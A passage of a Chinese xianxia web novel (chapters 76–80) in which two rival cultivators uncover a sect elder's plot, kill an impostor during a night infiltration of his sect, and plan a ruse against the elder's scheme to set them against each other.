“所以你心魔镜中独自一人守在蜀山剑宗的场景,也是出自问心尊者这一命盘?” 宴焱手指轻点,若有所思道。 “是。这也的确是我心魔之一。” 云梧大方的承认,但手却又一伸,娴熟的揽过宴焱的腰,贴着他的耳,黏糊道: “但现在不是有焱焱你陪着我了么?” 宴焱利落的一拍他的手掌,没着云梧的道:“别给我趁机凑近,我才不陪你,自己孤独终老去吧。” 云梧又被拍,倒是不躲,唇角甚至还勾着笑,引以为傲似的,轻声哼哼道: “焱焱才舍不得我独自一人呢。” “谁给你的脸?” 宴焱凤眸上挑,睨了眼云梧,不想和这没皮没脸死断袖纠缠,转身抬腿便要走。 鬼王的记忆里不仅有问心尊者来过冥界的证据,还有魂灵所在的方位。 往生河从倒流变成了顺流而下,六界生灵无法即时往生。时间短了还好说,若是时间久了,挤压的死魂越多,恐怕会越来越乱。还是早些处理为好。 宴焱捏了御风决,脚下迅速拧成一团浓郁的旋风状的灰雾,长腿一迈,站了上去。云梧也忙是抽出箐云剑,捏诀,迅速跟上,三青鸟也紧随其后。 鬼王本就是从鬼市中抽取小鬼吞噬,以壮大自身实力,所以祭坛离鬼市并不远。 宴焱脚下御风,几乎是半柱香的时间,便很快到达了目的地。 鬼市中心,玉莲台。 它坐落在万千楼宇的正中间,是一栋圆柱形的巨大建筑。通体玉色,只是护体灵力全无,已经没了往日的繁华的图景。 宴焱抬脚踹门,径直朝着玉莲台的中心快步走去。 椭圆形的巨大广场之间,立着一块碑,此碑名为无量碑,刻满了前来往生的生灵姓名八字,此时巨大滚动的碑体一动也不动,光芒黯淡,如同被抽了血肉的巨兽,奄奄一息。 宴焱手下一刻没停,示意云梧一起撬开那碑下一角的石块。 却见石块之下,赫然躺着一盈盈的玉石。定睛一看,上方还攥刻有细密繁杂的图文,正是封印魂灵的一块玉石碎片。 “果然。” 宴焱蹙眉。 玉石藏得地方很是巧妙,无量碑是鬼市压市的宝物,通常人不会想到去碰。又有宝物的灵气所护,所以浑浑噩噩前来冥界的魂灵也会一直徘徊着找不到玉石。 若不是鬼王吞噬了许多鬼市小鬼,那些不能言语的小鬼又恰好看到了这一幕,转而被宴焱的九转灵体读取记忆,否则还真要被这问心尊者瞒过去了。 这魂灵根本就不是自发出逃,而是被人引诱着前往冥界的。 玉石一出,云梧也立刻明白了怎么回事,眉头压低,冷声道: ‘怪不得那问心尊者闭门不出,原来是他的封印缺了一块,做贼心虚。’ 第77章 亲近 宴焱颔首。 无量碑被打开之后, 玉石上方的符阵气息微弱,很容易便可以被劈开。 但出乎意料的是,宴焱并没有俯身拿走玉石, 而是重新加固了玉石的符阵, 将无量碑合上。 “问心尊者狡诈, 况且这些年叩心台的势力不小, 区区一块玉石还不足以让他低头。” 宴焱冷静道。 “如果玉石被我们带走,这魂灵肯定要到处乱窜,冥界会乱得更厉害。眼下唯一能做的就是今早和你师尊通气, 再想办法深入叩心台寻找关键性证据。” 云梧抿唇, 轻轻点头。 的确,区区一块带有叩心台封印的玉石摆在这里,问心尊者可以有一万种理由粉饰。最好的办法还是不要打草惊蛇,找到最直接的证据。 几日前进入冥界的数十人小队,到了如今只剩下零零落落的六七人。 梦魇在鬼市便吞下了不少人,其余人也不同程度被鬼将所伤。到了最后, 能被三青鸟联系上的屈指可数。 时间紧迫, 众人匆匆点了人头, 便要尽快折返。 幸运的是,当初大能劈开的那一处小缝隙尚在, 没有被鬼将发现并破坏。 精密的纹路掩藏在嶙峋树立的怪石之间,有几个喜爱灵气的低级魂灵攀附着怪石, 脸凑近石头锋利凹凸的表面, 用嘴吸允着上方的灵力。 宴焱一走近, 它们便贪婪的转过头,眼睛烁着绿芒,盯紧了宴焱, 嘴里不间断的发出喃喃: “好香……好香啊。” 有几个长手长脚的,攀着石块凸出的地方,就要凑近。 宴焱一蹙眉,骨鞭尚未出手。一旁箐云剑便抢先一步,铮鸣一声,将几只魂灵统统斩杀。 箐云剑的速度很快,仅仅过了数息,血肉便飞溅。低级魂灵的□□很粗硬,肉块也是青紫色的。碎肉四散的落在地面上,温热的血流喷洒而出,血痕细而长的落在宴焱的美人面上,转而被细长的手指轻轻揩去。 “焱焱……” 云梧抢先干了活,眼巴巴的就要凑过来套近乎。 却不料宴焱又冷睨了一眼云梧,无情的抬脚走了,显然是还没消气呢。 云梧计谋没得逞,也只好讪讪的跟上。 宴焱一拍传送阵的阵眼,灵气从他的手掌涌出,沿着传送阵的纹路一路蔓延,逐渐点亮了整个传送阵。 光芒从传送阵中溢出,迅速吞噬数人的身影。 * 传送阵有异动,布下阵法的怀远剑尊自然很早便能察觉得到。 云梧和宴焱没有拖延,出了传送阵之后,便一起前往蜀山剑宗会见怀远剑尊。 六界事态混乱,火翎峰的防护也加强了不少,远远的便见护峰大阵树立在山腰处,灵气形成一张遮天蔽日的防护罩,将所有的生灵都盖下,符阵大开。 守阵的弟子们遥遥见来人,齐齐拔剑大喝,质问道: “是谁??” 箐云剑掠过上空,刮起一道劲风。 待到箐云剑逼近,借着微弱的光线,守山弟子看清的了来者是谁。立刻放下手中剑,面容肃静,齐齐朝着云梧一拜,躬身道:“云少宗主。” 云梧轻点了点头,面色凝重,脚下箐云剑一刻不停,继续朝着峰中掠去。 守山弟子恭敬相送,只是有几个弟子不着痕迹的往旁看了眼紧随其后的宴焱,互相交替了个眼神,神色略有些复杂。 宴焱敏锐的察觉到弟子们的眼神,蹙了蹙眉。 怀远剑尊近来一直在仙界奔波,处理各种突发的事件。如今传送符一开,他也放下手中的事,传音给云梧,先行回了火翎峰。 大殿之中,静等已久的怀远剑尊端坐于蒲团之上,面色凝重。 他捋着胡子,半阖着眼。听见大殿门开后,便缓缓睁开眼,见是二人相伴,不着痕迹的摇了摇头。 云梧躬身道: “师尊。” 他话一顿,没有耽搁,立刻道: “我们在冥界鬼市之中发现了叩心台封印魂灵的玉石,正是那玉石勾着魂灵前往冥界作乱,所以,弟子有理由怀疑此事和叩心台脱不了干系!” 几日不见,怀远剑尊苍老了不少,鬓角的白发也越发凌乱,他眯着眼,听完云梧的复述之后,没有作答,而是重重的叹了口气道: “这几日仙界又发生了些事情。” “叩心台不再闭门不出,而是由问心尊者出面,算了一卦,说是如今六界大乱都是因为天命紊乱,是你们二人不合所致。” 云梧一怔,立刻抬起头,急忙辩驳道: “我和焱焱未曾有过间隙,怎么会有不合之说?” 怀远剑尊捋着胡子的动作一顿,道: ‘为师信不信是一回事,天下人信不信又是另一回事了。’ “如今天下大乱,问心尊者的声誉又摆在那里。他算出的卦,自然有许多人相信。况且你二人气运相争是事实,已经有多个墙头草倒戈,说要蜀山剑宗出一个交代。” 怀远剑尊说罢,拧了拧眉心。 云梧面色一沉,他直起身,望向怀远剑尊,道:“师尊,我和焱焱绝不会兵刃相见!我也绝不会做伤害他的事!问心尊者一定是另有所图,徒儿保证会查出个所以然来!给天下人一个交代!” 怀远剑尊不说话,只是在二人中间扫了眼,没有回云梧的话,转而望向宴焱,慢吞吞道: “你不想因气运出手,不代表宴小友不想。云梧,不要把自己的心思冠在他人身上。” 他这话是对着云梧说的,但目光落在宴焱身上,分明是在试探宴焱的意思。 云梧的面色一僵,迅速瞥了眼一旁的宴焱,抢声道: “那就算是焱焱想要气运,我也不会争,既然我不会争,那我们二人怎么会不合呢?焱焱想做什么,我都会支持他去做的!” 此番话一出,不光是怀远剑尊,宴焱也跟着登时一愣,凤眸望了眼云梧,随即抿了抿唇肉,没有做声。 怀远剑尊倒是没有很诧异,一会儿的功夫就回过神来,无奈的轻叹口气。 他就知道他徒弟会这么说。 怀远剑尊摆了摆手,他不想参合徒弟的因果。既然云梧已经和他下了军令状,他也只能顶住压力,给二人一段时间,让他们自行去找办法。 若是时间一到,那也便由不得云梧了。 就在这时,宴焱忽地开口了。 他轻踏出一步,拱手,轻声道: “剑尊放心。我们二人虽然有些间隙,但我宴焱已经认了这个兄弟,就不会再反悔了。我宴焱绝对不会因为气运去伤害云梧的!” “请剑尊相信我,我宴焱会给蜀山剑宗和天下人一个交代。” 云梧抬起头,转身,眼眶瞬间一红,不可置信的喃喃道:“焱焱……” 宴焱没接云梧的腔,而是利落的转身就走。 云梧立刻抬脚跟上,嘴里还念念不停:“焱焱你等等我……焱焱你刚刚的意思是不是我想的那样……” 被落在殿中的怀远剑尊:…… 算了。恋爱脑就恋爱脑点吧,起码传承剑道这块没有落下功夫。 他轻叹口气,悠悠又掏出了怀揣在袖口的语录,继续翻看着,嘴里念念叨叨,平复着差点被云梧气起的血压。 * 云梧一路追着宴焱出了大殿。 宴焱的脚步很快,迅速拐进一个偏僻的树林处,脚步一顿,便站在原地,等着云梧来。 云梧一见宴焱停下来等他,眉间更是一喜,揽过宴焱的肩头,抱紧,道: “焱焱,我好开心你能够说出那些话。” 他低着头,声音像是哑了,又像是蒙着一层厚重的棉絮,闷闷的: “我以为我犯了大错,你就不要我了,再也不理我了,再也不会和我这么亲近了。” 宴焱被云梧熟稔的抱着,见他又是一副可怜巴巴的模样,唇边的话也咽了下去,抿紧唇肉,撇向一旁,哼道: “那笔账我还没跟你算完,你开心什么呢。谁要和你亲近?” 云梧不管不顾,继续收紧臂弯,道: “那焱焱不跟我亲近,就让我抱一会儿就好。等焱焱什么时候气消了我们再……” 宴焱:…… 死断袖!脑子里都想的什么东西?? 他气极反笑,熟练的一踩云梧的脚,又是一碾,道: “谁跟你说的是这个‘亲近’?” 第78章 夜行 云梧装作听不懂, 低头,小心翼翼的看了眼宴焱的面色。见他只是嘴里骂,没有真生气, 心里有了几分数, 无论宴焱后续如何挣, 臂弯也不松开一点。 宴焱挣扎了几分钟, 最后放下推开云梧的手,无奈的任由他箍着腰,转而道: “先说正事。” “你打算接下来怎么做?” 云梧抬起头, 思索片刻, 接话道:“去叩心台找线索。” 谈起正事,云梧认真了许多: “但既然他们敢放出这样的言论,肯定会对我们有所防备。”他顿了顿,腰间取出那枚灵符,继续道:“以防万一,这灵符是加了密法, 可以仅靠我们的神识交流, 若是出了什么事, 不管多远焱焱都可以用这灵符和我取得联系。” 宴焱点头。抽出一只手,取出自己袖口的灵符, 别在腰间。 事态紧迫,所幸云梧和宴焱回来的消息还没有传的太远。二人商议, 趁着叩心台没有多做准备, 尽早潜入内部。 怀远剑尊对此睁一只眼闭一只眼, 云梧传音告知他之后,也只是淡淡的说了句: “我只给你们三天的时间,三天时日一到, 届时议事大会再开,你们定要有个交代。” * 所幸蜀山剑宗和叩心台不过千里之遥,箐云剑毫无声息的掠过冀州上空,叩心台那耸立巍峨的峰峦也便拨开云雾,显出真身。 护宗大阵关闭,但重叠的峰峦间隐约有弟子巡逻的身影。 箐云剑悬停在一处树林之后,虬枝阻挡了云梧宴焱二人的身影,宴焱捏诀,脚下劲风褪去,落到平地。 “叩心台有三处最要紧的地方。”云梧简单交代道,他伸出手,遥遥指向远处最高的山峰道:“一处是叩心台的凌云峰,还有一处是再往前的天机阁。第三处是天机阁之后道一处小殿,名为落云阁,那里一向是叩心台藏匿宗门要籍的地方。” 宴焱点头,明白了云梧的意思。 命修的武力值薄弱,所以他们不敢把重要的地方分散着建成。但六界此前已经召开过大会,问心尊者借此机会又吸纳了一批六界的大能在叩心台坐镇,单单是宴焱云梧熟知的,就有罗刹门的大长老和九岭门的副宗主。 他们二人的境界都在洞虚,云梧宴焱二人不可能敌得过,只能趁着夜色潜入。 宴焱略一沉吟,扫了眼通火连天的叩心台,眯眼,道: “左峰的弟子明显少了许多,很有可能驻扎着一位大能。右侧弟子多,或许是离大能远。如果我们两个人同时搜寻三处机密之地,估计要花费两个多时辰。不如我们先一同从右侧绕弯进入凌云峰,再分头行动。” 他的话音干脆,说完,举起腰间的灵符,晃了晃,示意用它联系。 云梧望向宴焱,立刻点头。不再拖延,迅速抬脚趁着夜色朝凌云峰掠去。 为了掩人耳目,他们没有选择御剑飞行,而是快步抄近道点地而去。 离得近了,隐约就能听见守关弟子的碎语。 命修都是一袭白袍,这也方便了宴焱作判断。他敛起声音,身体贴紧石壁,脚下步子放慢,示意云梧停下,侧耳倾听。 几个弟子在谈论最近峰内发生的琐事。 左侧弟子先是埋怨了一番站岗时间长的问题,忽地又开口怨愤道: “你说六界纷乱到底何时能够结束?好不容易封印的魂灵却因为这事而逃跑,真是——” 他愤慨的想说什么,一旁人很快制止他,摇头道: “你就别乱说话了,尊者自会有办法的。眼下能怎么办呢?两个天命之子相争,谁也不让谁,天道见他们俩不合才降下的灾劫,自然只能由他们解决。” 左侧弟子接话道: “那不就得了?他们握手言和不就好了?” 有人嗤笑:“你也真是天真。这事情是表面握手言和就能解决的吗?只要二人共存一日,矛盾就注定会爆发,早一天晚一天的区别罢了。况且天命之子的纷争也不是我们能够调和的,若是旁人出手强行介入,将其中之一的天命之子击杀,恐怕会有伤自己因果。” “况且我还听闻呢,说他们俩在冥界里就打得不可开交……二人身负重伤,宴焱连走路都不利索了。” 此话一出,立刻又有人接腔:“是啊是啊,我还听说他们俩个的关系势同水火,那宴焱见了云梧都冷着一张脸呢,面上功夫都不肯演了。难怪动荡这样频繁,看来是二人已经到了你死我活的境地了。” 宴焱一字一句的听着,闻言,面色复杂的睨了眼在旁的云梧。 云梧连忙摇头摆手,示意自己什么都不知道。 弟子谈话声不停,已经是把二人的缠斗编排得有声有色,有来有回的。 宴焱太阳穴突突的跳,不想再听下去了。云梧敏锐的察觉到宴焱的不耐,伸出手,扯了扯宴焱的衣角,传音道: “焱焱,他们真会乱说话。我们哪里有打架……焱焱才舍不得打我呢。” 宴焱听了编排之后,额角本就突突的跳。云梧一打岔,他更是气不打一出来,借着风声呼号掩盖,不轻不重的拍云梧的手背。 “谁舍不得打你了??别净往自己脸上贴金。” 那头弟子还在绘声绘色的描述云梧是如何一剑刺向宴焱,宴焱又是如何用骨鞭同云梧缠斗的。暗处的俩人却无声无息的贴紧,云梧俯身,轻轻往宴焱耳廓吹气,声音压低,掩藏在咆哮的风声里: “焱焱方才还说不会伤害我呢,说我是你很重要的人,这会儿就又不认账了。焱焱好坏啊……” 宴焱耳廓一热,一面盯紧了弟子们的动作,一面迅速拉开与云梧的距离,传音厉声道: “你疯了,他们还在这呢,你还说话?!” 果不其然,那头交谈的弟子不约而同的停下话头,左侧弟子盯紧了二人藏匿的方向,捏诀,厉声质问道: “是谁??!!” 宴焱立刻握紧了手中骨鞭,呼吸放缓,肩头耸起,侧头,紧盯着弟子们的动作。 云梧一挑眉,唇角勾起。他不急不慢的一弹指,打下一处树枝。 ‘呼啦啦’的一声响,枝头跃起一只休憩的鸮鸟,翅膀扑闪,难听的叫了几声。 守山弟子顿时松了口气,手下诀松开,有人推了推左侧弟子,大声调笑道:“一天天的和惊弓之鸟似的,魂灵怎么会暗中潜来叩心台呢?” 宴焱也顿时一松气,冷不丁的又瞪了眼云梧。随即立刻起身,趁着弟子们疏忽聊天之际,脚尖踮地,越过枝头隐入山间。 云梧急忙跟上,他们的速度很快,一会儿的功夫便到了凌云峰的侧峰。宴焱从左侧绕过山头前往天机阁,云梧则是潜入凌云峰的守山观。 * 玄衣飞速的在夜间掠过,连衣物的拂动都没有一点声响。 云梧屏息凝声,扫了眼四周。迅速挑个高处,纵身一跃,逼近守山观的高墙。 守山观四周都有弟子把手,但云梧的身法敏捷,没有被驻守弟子发现。他利落的侧开一寸窗,悄无声息的潜入。 脚尖一落地,云梧的眉头瞬间蹙起。 不对劲。 守山观他来过两回,观中树立一巨碑,碑后刻着铭文。叩心台命修时常借这巨碑演算天命。 但今天,巨碑的附近却空无一人,没有一个人把守。 云梧垂眸,指尖轻轻动了动,箐云剑缓缓拉出一寸剑身,脚下步伐缓慢的逼近。 果然,下一秒,从一旁闪出道熟悉的身影,来人双手成爪状,迅速的逼近云梧,掌心运气,赫然是罗奇! 罗奇的功法在云梧之下。但显然,他的周围肯定还有罗刹门的人在驻守,否则他是吃了豹子胆也不会单单一个人突袭云梧。 云梧拧眉,脚下点地,迅速撤开一丈远的距离。同时手握紧剑柄,箐云剑应声而出,刷啦一声,剑尖对准了罗奇。 剑风刮过半空,掀起一阵恐怖的裂空声。罗奇如鹰般的眼盯紧了眼前袭来的剑,忽地脚下一顿,闪身,险险躲过。 云梧不着痕迹的侧眸,望了眼右前方一处矗立的命修石像。 他方才那剑速度并不慢。按照罗奇的身法绝对不可能躲过,右前方的气息古怪,看来是后面躲着什么东西在暗中帮着他。 手腕拧动,箐云剑迅速调转方向,对准了躲闪的罗奇,又是一剑猛的劈下—— 云梧没收力道。剑势的气息恢弘,不是奔着一剑刺死罗奇去的,而是为了引出后边埋伏的人。 守山观的四周被云梧布下了结节,弟子不能听见里面的响动。罗奇堪堪接下云梧这一招,唇角顿时溢出血丝,目光冷厉,盯着云梧,忽地冷不丁的笑了起来。 “云梧,都这时候了,你居然还有心思和我缠斗……” 云梧没接话,薄情眼森冷,只是一味的继续提起剑,飞速的刺下。 箐云剑的速度极快。剑修可怖的灵气布满箐云剑剑身,仅仅是一刹那,罗奇便被袭来的灵气击打得脚下一软,躲闪不及,被刺中了左肩。 血水争先恐后的从伤口处涌出,浸透罗奇肩头的布料。 他‘砰’的一声跪地,唇角哆嗦,还在笑。阴冷的眼睛盯着步步走来的云梧,赶在云梧再次提剑之前开口道: “你难道不奇怪为什么我会发现你吗?” 云梧嗤笑:“这有什么好猜的,罗刹门邪修都修得一手邪术,窥探人行径难道不是手到擒来的事情吗?” 罗奇眼神如钩,森森然盯着云梧,哆嗦道:“那你还敢进叩心台!!” 云梧不想同他废话,眉头一皱,手中挽起剑花,对着罗奇道命门就是一剑—— “慢着!!” 果不其然,一股劲风登时扑来,将云梧的剑尖击偏一寸。 云梧没有立刻动作,而是转头,好整以暇的望向来人。 从石像之后不远处,果真出现了几个罗刹门弟子,他们步步冲着云梧逼近,每个人的手中都捏着符,符纸隐隐泛着蓝光。 其中一人吸了几口气,抬起头,阴测测的望向云梧的眼睛,道: “云少宗主可先别急着动手斩杀罗奇师兄啊,我这还有个好消息要告诉你。” 瘫倒在地上的罗奇重重的一咳嗽,唇角弧度放大,接过了弟子的话茬,气息不稳的开口道: “宴焱早就背叛你了。他很早就和问心尊者暗中谋划要除去你,好让他自己独自赢得气运。这一次叩心台之行也是他们提前设计好的,堂堂云少宗主至今难道都不知道这回事吗?” 云梧略一挑眉,面上毫无表情。 “哦。我不知道。” “然后呢?” 罗刹门弟子被云梧不咸不淡的话气得一噎,顿了顿,勉强找回点感觉,这才继续道: “我知道你不信我,但接下来也由不得你信不信了。大长老和问心尊者早就在这里布下天罗地网,就等着你跳进去。” “旁人杀不了身为天命之子的云少宗主,可宴焱就不一定了——” 第79章 相残 云梧没接话, 甚至连正眼都没看地上的罗奇一眼。 他手中的箐云剑一刻不停,在瞬间继续朝着罗奇的方向刺去。 罗奇再次拼命躲闪过。但很快,云梧却停住了手中的剑法, 拧眉转头望向窗外。 夜晚的风很大, 嘎吱嘎吱吹得木窗轻轻的响。 有人的脚步声在缓缓逼近。没过多久, 在云梧森寒的视线之下, 门开了。 从门外缓缓踱步而出的身影很熟悉,是云梧毕生都不会忘记。 红褙乌发,身型颀长, 手中一柄骨鞭烁着寒芒。 云梧缓缓转过身来, 没有第一时间说话,只是盯着步步走来的宴焱,末了才低声问道: “你怎么来了?” 宴焱歪了歪头,对云梧的话很是不解,他瞥了眼在地上重伤倒地的罗奇,又回过头, 抬了抬下巴, 懒洋洋道: “罗奇没和你说吗?” 见云梧还是沉默, 宴焱唇角笑意扩大,步步逼近, 道: “你不会以为我真的把你当兄弟了吧,在气运面前, 什么都是次要的。” “我当然是来杀你的。” 他们二人隔了一丈远, 云梧能够清楚的看见宴焱纤长颤动的睫毛, 正随着他唇齿的一张一合轻轻颤抖。 美人面含笑,但笑意森寒,视线狠狠剜过云梧。 云梧没有开口, 而是垂下眼,视线不着痕迹的落在腰间的灵符之上。 灵符似有所感,发出细弱的颤抖。云梧神识一动,立刻传音: “焱焱,有人假冒你。” 说完此话之后,云梧抬眼,回望向面前的‘宴焱’。 果不其然,‘宴焱’没有任何反应,而是戏谑的挑眉,笑道: “怎么?还惦记着我们之间的兄弟情吗?我告诉你——不可能了!!” 话音落下,‘宴焱’率先出招,骨鞭甩出,拉出一道绷紧的弧度,径直朝着云梧的方向甩去。 云梧面色森寒,薄情眼微眯起,不着痕迹的瞥了眼弟子手中燃烧的符纸,启唇: “既然如此,也别怪我恩断义绝!” 箐云剑一转,径直朝着‘宴焱’扑去! 剑身发出摄人的嗡鸣,气势恢宏,赫然是对准了‘宴焱’的命脉,有不死不休之势! 仰躺在地的罗奇哆嗦着支起身体,目光扫过缠斗的二人,唇角笑意扩大,喘气都不稳了。 他缓缓缩到角落里,坐山观虎斗,示意几个弟子继续手中的事情。 弟子们默契颔首,手下捏诀,符纸的蓝火烧得愈发旺盛。 在一片跳动的火苗间,宴焱云梧二人的战斗也进入到了白热化的阶段。 骨鞭在空中划开破风声,将云梧凝起的剑势劈散。 谁知下一秒,本在左侧的云梧脚下一个剑步,身法诡秘,箐云剑与此同时高高举起,剑尖对准了‘宴焱’雪白的脖颈,没有一丝犹豫,恶狠狠的刺穿而下。 ‘宴焱’凤眸怒睁,细白的手指捂住脖颈处的血窟窿,盯着云梧冷漠的脸,呼哧呼哧的想说些什么,但下一秒,他的左胸又猛然穿过一剑。 云梧施施然收起剑,跨过地上已经毫无声息的尸骨,朝着罗奇几人走来。 罗奇倒是嘴边还带笑,不顾自己的伤口扩大,道: “不愧是天命之子,杀自己兄弟也这么干脆利落,真是让在下佩服。” 其余几个弟子倒是如临大敌,手中符纸烧得愈发旺,瞧了眼倒地的‘宴焱’,面色惨白。 云梧下手的速度比他们想象中的还要快。 时间要不够了。 其中一名弟子忍不住的瞥眼去看自己手中的符纸,步步后退,嘴巴哆嗦着,气息不稳的讽刺道: “云少宗果真不愧是六界第一人,倒、倒是让我们开眼界了。连对自己的兄弟都能下死手……也不想想你和他在归墟秘境里的过往。” 弟子一直在找话题,试图让云梧的脚步缓下来。 但云梧没有,反而脚步越来越快,俊脸上没有一丝杀害兄弟的愧疚,反倒有几分嘲意。 罗奇望着步步逼近的云梧,唇角的弧度一平,忽地瞳仁放大。 不对劲—— 云梧依旧很平淡,他垂着眼,睨向哆嗦着向后退的几人,眸很冷,像盯着几个死物。 “说够了吗?” 箐云剑再次出手,只不过这一次不是对着几个弟子的命脉,而是干脆利落的斩毁了他们手中的灵符。 灵符被毁,弟子立刻惊恐的叫了一声,哆嗦着弯腰要去捡地上残落的纸片,妄图再次点燃蓝火,将灵符重燃。 罗奇倒是一直都很冷静,只是额角缓缓分泌出细密的汗,呼吸放缓,死死盯着云梧快准狠的穿透眼前弟子的心脏。 一个接着一个的身躯倒下,他们的呐喊求饶消失在箐云剑森冷的剑身之下。 云梧提着剑,终于转向了眼前的罗奇。 罗奇强装冷静,道:“你杀了我也没有用了,事情已经发生,无可挽回。我今晚什么也没看到。” 云梧漠然:“还在装?” 罗奇咬着牙:“我不懂你在说什么。” 热乎的鲜血沿着剑身滴落,一滴又一滴,顺着云梧的步伐蜿蜒出一行小溪。 “那次秘境的魂灵是你特意引来杀了齐岳吧。” 云梧垂眸,抬起剑,剑尖在空中比划着罗奇的穴脉,最后遥遥对准了他的心脏。 罗奇冷汗直冒,他意识到自己逃不掉了,但他很快转头望了眼倒地不起的‘宴焱’,唇角又重新扬起一股胜利者般的笑: “是又怎么样?云梧,你要动手就动手!你就等着吧,你的好日子到头了——” “是吗?” 云梧挑眉:“如果你是说我杀了宴焱的话……虽然他装得很像,但不好意思,你们从一开始就露馅了。” “不可能!?” 罗奇的瞳孔瞬间放大,随着箐云剑逼近,云梧的声音也随之传来,咬字慢吞吞的,很是得意: “因为焱焱舍不得杀我。” 话音落下,罗奇的尸体也随之‘砰’的一声倒在地上。 他瞳孔放大,显然是意识到了什么,唇瓣还在反射性的哆嗦着,直到几息之后才完全失去了呼吸。 * 今晚并不平静。 宴焱抬眼望了眼天幕,圆月被乌云遮盖得严实,透不出一点光亮。 山巅的晚风寒冷,再一吹,腰间的灵符也跟着晃动。 宴焱的脚步一顿,感知到灵符的震颤,伸手捏住灵符,皱眉,垂眼望去。 云梧的声音传来: “焱焱,有人假冒你。” 假冒他? 宴焱眉头蹙紧,却没有作声,而是不着痕迹的放下手中的灵符,转过身,盯住身后树林的一角,缓声道: “藏够了吗?” 有人动了。树叶抖动,一道熟悉的身影从树林之后缓步走出。 温文尔雅,笑眼眯眯,正是闭门已久的问心尊者。 几月不见,他鬓角竟也起了白斑,风度依旧,对着宴焱轻轻点了点头,浅笑道: ‘宴小友,好久不见。’ “自上次论道大会一别,本尊倒是一直都很像再见到你,可惜……我们居然过了这么久才见一面。” 白虎坐骑从问心尊者的身后绕出,呲牙,虎眼冒着寒光,吐息急促,盯紧了宴焱的咽喉。 问心尊者说完这话,低头,看了眼蓄势待发的白虎,轻轻摸了摸它的头,低声说道: “不可无礼。” 白虎抬头望了眼主人,口吐人言道:‘可他很香。’ 问心尊者训诫的一拍白虎的头,旋即抬眼,满怀歉意道: “让宴小友见笑了,白虎性子泼辣,是我没有严加管教。” 宴焱冷眼瞧着主仆一唱一和,溟则是从盘绕着他的手腕,缓缓将头探出袖口,冲着白虎嘶叫了两声。 “有什么事直说。” “这话应该我问宴小友才对。宴小友夜访叩心台,我这个做宗主的,自然是要出来迎接。” 宴焱没想和问心尊者绕弯子,皱眉,冷声道: “你都知道我是来找你们茬的,还来说什么话?要打就打,我宴焱奉陪到底。” 宴焱此话是在故意激怒问心尊者,但问心尊者还是一副好脾气的模样,轻轻一笑,忽地道: “宴小友对于我们的合作考虑得怎么样了?最近六界发生了不少事情,想必宴小友也听到一些风声了吧。” 问心尊者眉眼弯弯,继续道:“原谅本尊不能撒谎。命盘中说这场六界灾祸因你们而起,我自然不能骗天下众人。” “本尊很早就和宴小友说过了。天道是不会容许两个天命之子存在的。长此以往必会有大乱。但本尊先前答应过宴小友的话还作数,虽然本尊与蜀山剑宗交往甚密,但宴小友资质上佳,此次气运之争,定会是宴小友胜利。” 问心尊者的话语轻柔,蛊惑人心,他步步走近,继续道: “本尊有办法让宴小友更轻松的胜出。作为报酬,宴小友只需要在问鼎天下之后继续扶持叩心台便好,两相得利,何乐不为呢?” 宴焱盯住步步走来的问心尊者,一字一顿: “你休想。” 听到宴焱否决的话,问心尊者没有诧异,更没有如先前般失态,而是游刃有余道: “不如请宴小友看完这段留影石再作决定吧。” 他伸出手,捏诀,掌心处很快出现一处栩栩如生的画面。 宴焱顺着问心尊者的手看去,眉头一皱。 画面正是叩心台的守山观! 第80章 洞穴私会 画面虽小, 但胜在清晰。缠斗二人的身影都清晰可见。 一侧是云梧,另一侧正是他‘宴焱’本人。 宴焱眉梢一挑,视线落向前方的问心尊者。 “小友莫怪, 本尊也是迫不得已才出此下策。”问心尊者目光毫不躲闪, 继续道:“不过看来, 这招确实管用, 的确试探出云梧和宴小友的关系……” 问心尊者的眸色很浅,月色照映,更显得淡漠。 “看来也没有那么好啊。” 宴焱的目光久久落在画面之上, 没有开口。 叩心台的山巅空荡荡, 云梧和‘宴焱’二人的声音也清晰可闻。 “既然如此,也别怪我恩断义绝!” 画面中的云梧面带怒色,手中箐云剑一刻不停。问心尊者化出的‘宴焱’身法和本人起码有九分像,加上弟子们在后面驻设的幻阵,就算是宴焱本人在那也要愣上许久,的确不容易被发现。 宴焱眉梢不着痕迹的略微一动。 幻境如此高超, 云梧那死断袖是怎么发现的? 宴焱私下还在筹谋要好好问问云梧是怎么发现端倪的, 面上装得天衣无缝, 脸色一点点沉下来。 终于,在云梧一剑刺穿‘宴焱’心脏之后, 宴焱的面色瞬间凝固。 留影石被猛然掐断,画面停留在云梧出剑把几个弟子手中符纸斩碎, 留影阵破灭, 之后的种种也就不得而知。 但问心尊者显然不关心剩下人的死活, 他的目光一直停在宴焱的面上,连一丝微表情都不肯放过。 见留影停止,宴焱的目光长久停留在那画面之上, 抿紧唇肉,不知在想些什么。良久,他才抬起眸,犀利的望向问心尊者。 “你要我怎么做?” 宴焱忽地开口。他目光沉沉,不复往日的游刃有余,面色凝重。 问心尊者悠悠然一笑,轻声道: “心魔。” “本尊给你能够触发云梧心魔的引,你只要在对决中用它,它便可以侵入云梧的穴脉。至于蜀山剑宗……宴小友就全交给本尊处理就好。” 说罢,问心尊者缓缓撑开手掌,从他掌心的皮肤处隆起一个突兀的小包,很快,一只幻虫就钻破了皮肤,露出头来,吱吱叫唤着朝着宴焱飞去。 它停留在宴焱的肩头,很快被宴焱收起。 问心尊者见状,满意的点点头: “这只幻虫储存了我的灵力和心魔魇,被它缠上,足以让云梧分寸大乱。” “宴小友,本尊很欣赏你的识时务。也希望能很快听到宴小友得胜的好消息。” 问心尊者眉头舒展,往前一步,伸手,想拍拍宴焱的肩头,却被宴焱躲过。 他的手僵在半空,手指蜷缩,半晌才收回袖口。 但问心尊者面上的笑意不变,只是视线缓缓的扫过宴焱的脸。唇角勾起,转身,很快消失在了树林之间。 宴焱一直盯着他消失的方向站了许久,末了才抬脚,最后抬眸望了眼守山观的方向,这才往回路的方向掠去。 * 宴焱一路疾行,腰间的灵符也在飞速的震动着。 云梧的声音通过灵符传来:“焱焱,我往山下走了,我们在哪里汇合?” 宴焱脚下步伐不停,同时凝神观察四周动向,直到掠出叩心台的山脉范围之后才飞快交代道: “先别来找我。” “问心尊者不仅仅给你设了幻象,还把你杀了幻象的留影给我看,并且给了我能够牵制你的幻虫,想要我将你斩杀。” 云梧那头声音一停,宴焱快速继续道: “所以我认为既然叩心台的防护这般严密,再度潜入已经是不可能的了。不如将计就计,先演一出戏给他们看。届时再行动。” 云梧配合接话道:“明白了焱焱。对外今晚我们已经撕破脸了。制造幻象的那几人被我杀了,所以我今晚什么都不知道。” 耳边是山间掠过的风,云梧的话从识海处传来。 